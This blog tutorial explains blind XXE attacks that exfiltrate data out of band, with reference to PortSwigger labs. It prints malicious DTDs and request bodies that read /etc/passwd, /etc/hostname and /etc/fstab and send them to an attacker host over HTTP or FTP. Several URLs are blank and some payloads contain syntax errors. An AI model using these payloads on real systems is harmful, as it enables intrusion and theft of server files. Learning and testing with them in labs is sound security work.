Blind XXE attacks – Out of band interaction Techniques (OAST) to exfilterate data

Blind XXE attacks – Out of band interaction Techniques (OAST) to exfilterate data

Hey Everyone!! This post will cover Advanced XXE attacks where the sensitive data needs to be exfilterated using out of band interaction. If you want to learn more about the basic XXE attack vectors, follow up this post.

The basics of blind XXE

The server might be accepting xml data in the body but its not always necessary that it will return the values in the response. But if if you still suspect that the application might be vulnerable to XXE, OAST is the option for you.

The steps

To get a trigger for out of band interaction, you would have to define an external entity as follows

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM ""> ]>

You would then make use of defined entity in the data value with the xml document. If the application is vulnerable, the server is gonna make an http request to your URL. The attack can monitor the DNS lookup and http request and imply that an attack was successful.

You can use burp-collaborator for generating your URL.

  • It uses its own dedicated domain name, and the server is registered as the authoritative DNS server for this domain.
  • provides a DNS service that answers any lookup on its registered domain (or subdomains) with its own IP address.
  • It provides an HTTP/HTTPS service, and uses a valid, CA-signed, wildcard TLS certificate for its domain name.
  • provides an SMTP/SMTPS service.

Here’s how the burp collaborator screen looks like, when the interaction from vulnerable server is received.

However, burp collaborator client is only available in burp professional and it can be accessed through burp -> burp collaborator client.

You may find instances where regular entities are blocked maybe due to some input validation or hardening at the XML parser level. In that case, you can use XML parameter entities.

XML parameter entities

These are special kind of XML entities that can only be referenced within DTD.


<!ENTITY % paramentity "my test value">


<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM ""> %xxe; ]>

To test out your learning, follow this lab from portswigger.

When testing on the platforms, simply presenting this as a bug is sufficient enough, but you can drastically increase the impact if sensitive data is being extracted.

Let’s see how

Creating a malicious DTD

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM ';'>">

This is a malicious DTD stored somewhere. For example the exploit server of portwigger.

In the request made to vulnerable application, the URL to the stored exploit server has to be given.

Here parameter entity is used to exfilterate data. This is an example of entity defined within an entity. The parameterised entity %file is referenced inside %eval. So the content of /etc/hostname is appended as the part of request and is sent to attacker. When the request is received, we’ll be able to view the hostname.

Hostname was a small piece of text and so it was easily retrieved. But what about larger files like /etc/passwd. It has also got all sorts of bad characters can break your http request. In that case the easiest solution is to base64 encode the payload.

Let’s look at how that can be done.

Create an extternal DTD on

<!ENTITY % all "<!ENTITY &#x25; req SYSTEM ';'>">

In the vulnerable application:

POST /vuln
User-Agent: ....
Content-Length: 123

<?xml version=1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "">
<!-- load dtd file -->
<!-- Resolve the nested external entity -->
<!-- resolve the external entity req along with file reference -->


This is gonna send a base64 encoded /etc/passwd along with the get request. It can be further decoded to obtain the original file.

But hang on!!! There might be a case that base64 encoded string has become too long to be sent as part of http request. And it says URI too long.


You can exfilterate data using ftp. This overcomes the limitation of http bad characters. The file can therefore be transmitted without encoding.

The external dtd to be created on

<!ENTITY $ file SYSTEM "file:///etc/passwd">
<!ENTITY % req "<!ENTITY abc SYSTEM 'ftp://x.x.x.x:1212/%file; '>">

Request body

<?xml version=1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "">

A lot of different techniques are covered. Now just one scenario is left.

What if you want to retrieve xml files??

When doing red team operations, you just do not stop on finding a vulnerability. At times, you need to dig more. And XML files (like tomcat-users.xml) can be such place. But there’s a problem in retrieving xml/dtd files with XXE. The tags in the xml document will be parsed by the parser and will completely change its meaning and the attack will not work. So we need a way so that the xml documents are not parsed (as should be considered as a simple plain text document).

This is where the concept of CDATA comes in.

  • PCDATA is text that will be parsed by a parser. Tags inside the text will be treated as markup and entities will be expanded.
  • CDATA is text that will not be parsed by a parser. Tags inside the text will not be treated as markup and entities will not be expanded.

By default everything is PCDATA. This keyword specifies that element must contain parsable data – < , > , &, ‘ , “

So if you dont want your xml to be parsed, enclose it in CDATA. Let’s see how that is done

<?xml version="1.0"?>

This will print the result as <abc>myContent</abc>

Let’s quickly get to how xml data can be retrieved.

Exfilterating the .xml files

Create an external dtd as

<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY content '%start;%file;%end;'>">

Request to the application


<!DOCTYPE data [


First %dtd is called and the server makes request to When the dtd is downloaded, the parser loads dtd and then %file; is called that is wrapped in CDATA using %start; and %end; parameter entities. Finally, %all; stores the content captured under %start; and %end;. A general entity content is being defined that can be included as part of the response back to the attacker. The scenario is when response is reflected in the response. Follow the OAST syntaxes when blind injection in case of exfilteration in blind XXE.

Thats all for this blog post. See you in the next one.

Until then, happy hunting.. 🙂




I am Shreya Pohekar. I love to build and break stuff. Currently, I'm working as iOS and angular developer. I am also a contributor to CodeVigilant project. My blogs are focused on Infosec and Dev and its how to's.

Leave a Reply